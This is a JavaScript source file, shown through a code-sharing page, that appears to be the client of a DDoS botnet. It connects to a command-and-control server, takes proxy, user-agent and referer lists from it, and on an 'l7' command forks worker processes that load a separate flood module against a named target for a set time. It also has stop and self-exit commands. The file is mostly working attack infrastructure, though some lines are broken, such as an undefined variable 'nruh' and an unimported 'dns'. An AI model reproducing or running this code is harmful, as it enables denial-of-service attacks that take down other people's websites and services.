Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
kenne400k
GitHub Repository: kenne400k/22
Path: blob/main/client.js
328 views
1
const net = require('net'),
2
events = require('events'),
3
cluster = require('cluster'),
4
fs = require('fs');
5
process.on('SIGCHILD', () => {
6
return !1;
7
}).on('SIGHUP', () => {
8
return !1;
9
});
10
global.CNC = process.argv[2];
11
process.setMaxListeners(0);
12
events.EventEmitter.defaultMaxListeners = Infinity;
13
events.EventEmitter.prototype._maxListeners = Infinity;
14
var log = console.log;
15
global.logger = function () {
16
var first_parameter = arguments[0];
17
var other_parameters = Array.prototype.slice.call(arguments, 1);
18
19
function formatConsoleDate(date) {
20
var hour = date.getHours();
21
var minutes = date.getMinutes();
22
var seconds = date.getSeconds();
23
var milliseconds = date.getMilliseconds();
24
25
return '[' +
26
((hour < 10) ? '0' + hour : hour) +
27
':' +
28
((minutes < 10) ? '0' + minutes : minutes) +
29
':' +
30
((seconds < 10) ? '0' + seconds : seconds) +
31
'.' +
32
('00' + milliseconds).slice(-3) +
33
'] ';
34
}
35
36
log.apply(console, [formatConsoleDate(new Date()) + first_parameter].concat(other_parameters));
37
};
38
if (cluster.isMaster) {
39
40
//Encryption : // TO PREVENT SPYERS :eyes:
41
42
let SETTINGS = {
43
proxies: [],
44
browsers: {},
45
userAgents: []
46
}
47
48
// FUNCTIONS
49
50
function isJSON(str) {
51
try {
52
return JSON.parse(str);
53
} catch (e) {
54
return false;
55
}
56
}
57
58
// CONNECTION TO CNC SERVER:
59
60
// Global error handling (Ignoring system for helpless error logs)
61
62
let ignoreNames = ['RequestError', 'StatusCodeError', 'CaptchaError', 'CloudflareError', 'ParseError'],
63
ignoreCodes = ['ECONNRESET', 'ERR_ASSERTION', 'ECONNREFUSED', 'EPIPE', 'EHOSTUNREACH', 'ETIMEDOUT', 'ESOCKETTIMEDOUT', 'SELF_SIGNED_CERT_IN_CHAIN'];
64
65
process.on('uncaughtException', function (e) {
66
if (e.code && ignoreCodes.includes(e.code) || e.name && ignoreNames.includes(e.name)) return !1;
67
console.warn(e);
68
}).on('unhandledRejection', function (e) {
69
if (e.code && ignoreCodes.includes(e.code) || e.name && ignoreNames.includes(e.name)) return !1;
70
console.warn(e);
71
}).on('warning', e => {
72
if (e.code && ignoreCodes.includes(e.code) || e.name && ignoreNames.includes(e.name)) return !1;
73
console.warn(e);
74
});
75
76
global.device = {
77
clientSocket: false,
78
ip: CNC || 'localhost',
79
port: 443
80
}
81
82
device.receiving = '';
83
device.send = function (obJ) {
84
device.clientSocket.write(JSON.stringify(obJ));
85
}
86
87
device.connected = function () {
88
device.send({
89
op: 'yo'
90
});
91
}
92
93
global.stop_all = () => {
94
attacks.forEach(anatk => {
95
if (anatk.proc) {
96
anatk.proc.kill();
97
} else {
98
logger('No process found. (306)');
99
}
100
});
101
attacks = [];
102
}
103
104
device.inputReceived = function (data) {
105
process.nextTick(() => {
106
var ajson = isJSON(data);
107
if (ajson == false) {
108
device.receiving += data;
109
ajson = isJSON(device.receiving);
110
if (ajson == false) {
111
//logger("[CONNECTION] Big buffer, memoring data: ", data.length);
112
return false;
113
} else {
114
//logger("[CONNECTION] Successfully read memored data: " + device.receiving.length);
115
device.receiving = '';
116
device.execute(ajson);
117
}
118
} else {
119
//logger("[CONNECTION] Successfully read data: " + data.length);
120
device.execute(ajson);
121
}
122
})
123
}
124
125
device.resolve = function (cb) {
126
if (!device.host) {
127
return cb(); //Just use the IP bruh;
128
}
129
dns.lookup(device.host, (err, address, family) => {
130
if (err) {
131
logger('[resolver] error in resolving host: ', err);
132
return false;
133
}
134
logger('[resolver] address: %j family: IPv%s', address, family);
135
device.ip = address;
136
device.syn = Date.now();
137
if (cb) cb();
138
});
139
}
140
141
device.reconnect = function () {
142
logger('[baby] device is reconnecting...');
143
stop_all();
144
device.clientSocket.destroy();
145
device.receiving = '';
146
device.openConnection();
147
}
148
149
device.openConnection = function () {
150
var timer;
151
if (device.clientSocket.destroyed || !device.clientSocket || Date.now() - device.ack >= 350000) {
152
if (Date.now() - device.syn >= 500000) device.resolve();
153
} else {
154
return false; //Already connected;
155
}
156
try {
157
logger("[INFO] connecting...");
158
if (device.ip.length < 1) return false;
159
device.clientSocket = net.createConnection(device.port, device.ip);
160
device.clientSocket.on('connect', function () {
161
device.ack = Date.now();
162
logger("[CONNECTION] Successfully connected!");
163
device.connected();
164
})
165
.on('ready', function () {
166
device.receiving = '';
167
if (!device.ping) {
168
device.ping = setInterval(() => {
169
if (!device.clientSocket.destroyed || Date.now() - device.ack <= 400000) {
170
device.clientSocket.write("\x01");
171
}
172
}, 30e3);
173
}
174
})
175
.on('data', function (data) {
176
//logger("[CONNECTION] Received data: ", data.byteLength);
177
device.ack = Date.now();
178
device.inputReceived(data.toString());
179
})
180
.on('error', function (err) {
181
device.ack = 0;
182
if (err.code == "ENOTFOUND") {
183
logger("[ERROR] No device found at this address!");
184
} else if (err.code == "ECONNREFUSED") {
185
logger("[ERROR] Connection refused! Please check the IP.");
186
} else if (err.code == "ETIMEDOUT") {
187
logger("[ERROR] Connection timed out! Reconnecting.");
188
device.clientSocket.end();
189
} else {
190
logger("[CONNECTION] Unexpected error! " + err.message);
191
}
192
setImmediate(stop_all);
193
})
194
.on('close', function () {
195
logger("[CONNECTION] closed, Reconnecting!");
196
setTimeout(device.reconnect, 7e3);
197
});
198
} catch (err) {
199
logger("[CONNECTION] connection failed! " + err);
200
setTimeout(device.reconnect, 15e3);
201
setImmediate(stop_all);
202
}
203
};
204
205
global.attacks = [];
206
207
function shuffle(a) {
208
for (let i = a.length - 1; i > 0; i--) {
209
const j = Math.floor(Math.random() * (i + 1));
210
[a[i], a[j]] = [a[j], a[i]];
211
}
212
return a;
213
}
214
215
device.updated = () => {
216
SETTINGS.proxies = shuffle(SETTINGS.proxies);
217
}
218
219
device.execute = function (bruh) {
220
switch (bruh.op) {
221
case 'update':
222
Object.keys(bruh).forEach(akey => {
223
SETTINGS[akey] = bruh[akey];
224
logger(akey, SETTINGS[akey].length);
225
})
226
device.updated();
227
logger('Received settings, Settings size:', JSON.stringify(SETTINGS).length);
228
break;
229
case 'set':
230
Object.keys(bruh).forEach(akey => {
231
SETTINGS[akey] = bruh[akey];
232
logger('[set]', akey, SETTINGS[akey].length);
233
})
234
device.updated();
235
break;
236
case 'duplicate':
237
process.updating = true;
238
process.handled = true;
239
return process.exit();
240
break;
241
case 'l7':
242
let newATKobj = nruh;
243
newATKobj.proc = cluster.fork();
244
setImmediate(() => {
245
newATKobj.proc.send({
246
target: bruh.target,
247
proxies: shuffle(SETTINGS.proxies),
248
userAgents: SETTINGS.userAgents,
249
referers: SETTINGS.referers,
250
duration: bruh.duration,
251
opt: bruh.opt || false,
252
mode: bruh.mode || 'proxy',
253
_: 0
254
});
255
});
256
setTimeout(() => {
257
device.stop_target(bruh.target);
258
}, bruh.duration + 1e3);
259
attacks.push(newATKobj);
260
break;
261
case 'stop':
262
logger('Stopping', bruh);
263
device.stop_target(bruh.target, 1);
264
break;
265
case 'stop_all':
266
process.nextTick(stop_all);
267
break;
268
}
269
}
270
271
device.stop_target = (dtarg, howMany) => {
272
var done = 0;
273
attacks.forEach((anatk, index) => {
274
if (done >= howMany) return;
275
if (anatk.target == dtarg) {
276
if (anatk.proc) {
277
anatk.proc.kill();
278
} else {
279
logger('No process found. (289)');
280
}
281
attacks.splice(index, 1);
282
done++;
283
}
284
});
285
}
286
287
//After all has been initialized, Establish connection to CNC server.
288
289
device.openConnection();
290
291
cluster.on('message', (worker, msg) => {
292
let response = {},
293
wmsg = msg.data;
294
295
function re(res) {
296
response._ = msg._;
297
response.data = res;
298
worker.send(response);
299
}
300
switch (wmsg.op) {
301
case "start":
302
return;
303
break;
304
case 'get-privacypass-token':
305
break;
306
}
307
});
308
} else {
309
require('./flood');
310
}
311